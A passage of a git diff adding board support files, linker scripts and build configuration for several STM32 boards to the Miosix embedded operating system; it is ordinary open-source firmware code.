program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f1_sd.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | + RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | + RCC_APB2ENR_IOPEEN | RCC_APB2ENR_IOPFEN | + RCC_APB2ENR_AFIOEN; + RCC_SYNC(); + _led::mode(Mode::OUTPUT_2MHz);// No need to be fast + sdCardDetect::mode(Mode::INPUT_PULL_UP_DOWN); + sdCardDetect::pullup(); + //Now wait 100ms + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole(intrusive_ref_ptr( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma))); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + + SCB->SCR |= SCB_SCR_SLEEPDEEP_Msk; + PWR->CR |= PWR_CR_PDDS; //Select standby mode + PWR->CR |= PWR_CR_CWUF; + __NOP(); + __NOP(); + PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source + //FIXME: wakeup via PA.0 is not working + + __WFI(); + for(;;) ; //Never reach here +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f103ze_stm3210e-eval/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f103ze_stm3210e-eval/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..044dd2438 --- /dev/null +++ b/miosix/arch/board/stm32f103ze_stm3210e-eval/interfaces-impl/bsp_impl.h @@ -0,0 +1,80 @@ +/*************************************************************************** + * Copyright (C) 2010 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +///\internal Pin connected to SD card detect +typedef Gpio sdCardDetect; + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + */ +inline bool sdCardSense() +{ + return sdCardDetect::value()==0; +} + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/stm32f10x_eval.cfg b/miosix/arch/board/stm32f103ze_stm3210e-eval/openocd.cfg similarity index 100% rename from miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/stm32f10x_eval.cfg rename to miosix/arch/board/stm32f103ze_stm3210e-eval/openocd.cfg diff --git a/miosix/arch/board/stm32f103ze_stm3210e-eval/processes-xram.ld b/miosix/arch/board/stm32f103ze_stm3210e-eval/processes-xram.ld new file mode 100644 index 000000000..5e64888cd --- /dev/null +++ b/miosix/arch/board/stm32f103ze_stm3210e-eval/processes-xram.ld @@ -0,0 +1,22 @@ +/* + * Linker script for stm32f103 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +/* No _process_pool_size as it's fixed to the size of ram2 */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K + ram1(wx) : ORIGIN = 0x20000000, LENGTH = 64K + ram2(wx) : ORIGIN = 0x68000000, LENGTH = 1M +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-pool.ld diff --git a/miosix/arch/board/stm32f103ze_stm3210e-eval/unikernel-all-in-xram.ld b/miosix/arch/board/stm32f103ze_stm3210e-eval/unikernel-all-in-xram.ld new file mode 100644 index 000000000..789d1df3d --- /dev/null +++ b/miosix/arch/board/stm32f103ze_stm3210e-eval/unikernel-all-in-xram.ld @@ -0,0 +1,16 @@ +/* + * Linker script for stm32f103 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + ram(wx) : ORIGIN = 0x68000000, LENGTH = 1M +} + +/* Mark ram as being an external RAM */ +_xram_start = ORIGIN(ram); +_xram_size = LENGTH(ram); + +INCLUDE ldscripts/miosix-all-in-xram.ld diff --git a/miosix/arch/board/stm32f103ze_stm3210e-eval/unikernel-xram-heap.ld b/miosix/arch/board/stm32f103ze_stm3210e-eval/unikernel-xram-heap.ld new file mode 100644 index 000000000..9bd0042c7 --- /dev/null +++ b/miosix/arch/board/stm32f103ze_stm3210e-eval/unikernel-xram-heap.ld @@ -0,0 +1,18 @@ +/* + * Linker script for stm32f103 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K + ram1(wx) : ORIGIN = 0x20000000, LENGTH = 64K + ram2(wx) : ORIGIN = 0x68000000, LENGTH = 1M +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-heap.ld diff --git a/miosix/arch/board/stm32f103ze_stm3210e-eval/unikernel.ld b/miosix/arch/board/stm32f103ze_stm3210e-eval/unikernel.ld new file mode 100644 index 000000000..33e383b90 --- /dev/null +++ b/miosix/arch/board/stm32f103ze_stm3210e-eval/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f103 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 64K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f205_generic/CMakeLists.txt b/miosix/arch/board/stm32f205_generic/CMakeLists.txt new file mode 100644 index 000000000..d256e666a --- /dev/null +++ b/miosix/arch/board/stm32f205_generic/CMakeLists.txt @@ -0,0 +1,36 @@ +## +## CMakeLists.txt for board stm32f205_generic +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f2) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sdmmc/stm32f2_f4_f7_sd.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32f2_f4_i2c.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_servo.cpp + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F205_GENERIC) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F205_GENERIC) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE stm32flash -w -v /dev/ttyUSB0) diff --git a/miosix/arch/board/stm32f205_generic/Makefile.inc b/miosix/arch/board/stm32f205_generic/Makefile.inc new file mode 100644 index 000000000..1d6851892 --- /dev/null +++ b/miosix/arch/board/stm32f205_generic/Makefile.inc @@ -0,0 +1,28 @@ +## +## Makefile for board stm32f205_generic +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f2 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +arch/drivers/sdmmc/stm32f2_f4_f7_sd.cpp \ +arch/drivers/stm32f2_f4_i2c.cpp \ +arch/drivers/stm32_servo.cpp \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F205_GENERIC +BOARD_CXXFLAGS := -D_BOARD_STM32F205_GENERIC + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 diff --git a/miosix/arch/board/stm32f205_generic/boot.cpp b/miosix/arch/board/stm32f205_generic/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f205_generic/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f205_generic/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f205_generic/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..39b42bec0 --- /dev/null +++ b/miosix/arch/board/stm32f205_generic/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,20 @@ +#pragma once + +#define STM32F205xx +#include "CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f20x,f21x RCC synchronization is required per the device errata +//(ES0005 section 2.1.11). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 80, so there are 81 +#define MIOSIX_NUM_PERIPHERAL_IRQ 81 diff --git a/miosix/arch/board/stm32f205_generic/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f205_generic/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..ce5ec36d1 --- /dev/null +++ b/miosix/arch/board/stm32f205_generic/interfaces-impl/bsp.cpp @@ -0,0 +1,133 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOF->OSPEEDR=0xaaaaaaaa; + GPIOG->OSPEEDR=0xaaaaaaaa; + IRQsetDefaultConsole(intrusive_ref_ptr( + #ifndef STDOUT_REDIRECTED_TO_DCC + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma) + #else //STDOUT_REDIRECTED_TO_DCC + new ARMDCC + #endif //STDOUT_REDIRECTED_TO_DCC + )); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +};//namespace miosix diff --git a/miosix/arch/board/stm32f205_generic/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f205_generic/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..09f4e8fe3 --- /dev/null +++ b/miosix/arch/board/stm32f205_generic/interfaces-impl/bsp_impl.h @@ -0,0 +1,59 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "drivers/stm32_hardware_rng.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +inline void ledOn() {} +inline void ledOff() {} + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +};//namespace miosix diff --git a/miosix/arch/board/stm32f205_generic/processes.ld b/miosix/arch/board/stm32f205_generic/processes.ld new file mode 100644 index 000000000..17851c7e5 --- /dev/null +++ b/miosix/arch/board/stm32f205_generic/processes.ld @@ -0,0 +1,17 @@ +/* + * Linker script for stm32f205 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 96K; + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f205_generic/unikernel.ld b/miosix/arch/board/stm32f205_generic/unikernel.ld new file mode 100644 index 000000000..d9b0d1fa9 --- /dev/null +++ b/miosix/arch/board/stm32f205_generic/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f205 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f205rc_skyward_stormtrooper/CMakeLists.txt b/miosix/arch/board/stm32f205rc_skyward_stormtrooper/CMakeLists.txt new file mode 100644 index 000000000..0bc775847 --- /dev/null +++ b/miosix/arch/board/stm32f205rc_skyward_stormtrooper/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32f205rc_skyward_stormtrooper +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f2) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32f2_f4_i2c.cpp + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F205RC_SKYWARD_STORMTROOPER) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F205RC_SKYWARD_STORMTROOPER) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE ...) diff --git a/miosix/arch/board/stm32f205rc_skyward_stormtrooper/Makefile.inc b/miosix/arch/board/stm32f205rc_skyward_stormtrooper/Makefile.inc new file mode 100644 index 000000000..a9784cc02 --- /dev/null +++ b/miosix/arch/board/stm32f205rc_skyward_stormtrooper/Makefile.inc @@ -0,0 +1,21 @@ +## +## Makefile for board stm32f205rc_skyward_stormtrooper +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f2 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +arch/drivers/stm32f2_f4_i2c.cpp \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F205RC_SKYWARD_STORMTROOPER +BOARD_CXXFLAGS := -D_BOARD_STM32F205RC_SKYWARD_STORMTROOPER diff --git a/miosix/arch/board/stm32f205rc_skyward_stormtrooper/boot.cpp b/miosix/arch/board/stm32f205rc_skyward_stormtrooper/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f205rc_skyward_stormtrooper/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f205rc_skyward_stormtrooper/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f205rc_skyward_stormtrooper/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..39b42bec0 --- /dev/null +++ b/miosix/arch/board/stm32f205rc_skyward_stormtrooper/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,20 @@ +#pragma once + +#define STM32F205xx +#include "CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f20x,f21x RCC synchronization is required per the device errata +//(ES0005 section 2.1.11). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 80, so there are 81 +#define MIOSIX_NUM_PERIPHERAL_IRQ 81 diff --git a/miosix/arch/board/stm32f205rc_skyward_stormtrooper/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f205rc_skyward_stormtrooper/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..c5d0812ae --- /dev/null +++ b/miosix/arch/board/stm32f205rc_skyward_stormtrooper/interfaces-impl/bsp.cpp @@ -0,0 +1,124 @@ +/*************************************************************************** + * Copyright (C) 2016 by Terraneo Federico and Silvano Seva for * + * Skyward Experimental Rocketry * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "board_settings.h" + +using namespace std; + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + + using namespace memories; + sck::mode(Mode::ALTERNATE); + miso::mode(Mode::ALTERNATE); + mosi::mode(Mode::ALTERNATE); + cs0::mode(Mode::OUTPUT); //cs lines have pullups, but we tie them to high anyway + cs0::high(); + cs1::mode(Mode::OUTPUT); + cs1::high(); + cs2::mode(Mode::OUTPUT); + cs2::high(); + + gpio::gpio0::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + //It seems that we have nothing to do here +} + +// +// Shutdown and reboot +// + +/** + * For safety reasons, we never want the stormtrooper + * to shutdown. When requested to shutdown, we reboot instead. + */ +void shutdown() +{ + reboot(); +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} +} //namespace miosix diff --git a/miosix/arch/board/stm32f205rc_skyward_stormtrooper/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f205rc_skyward_stormtrooper/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..201f1eb1d --- /dev/null +++ b/miosix/arch/board/stm32f205rc_skyward_stormtrooper/interfaces-impl/bsp_impl.h @@ -0,0 +1,64 @@ +/*************************************************************************** + * Copyright (C) 2016 by Terraneo Federico and Silvano Seva for * + * Skyward Experimental Rocketry * + * * + * This program is free software; you can 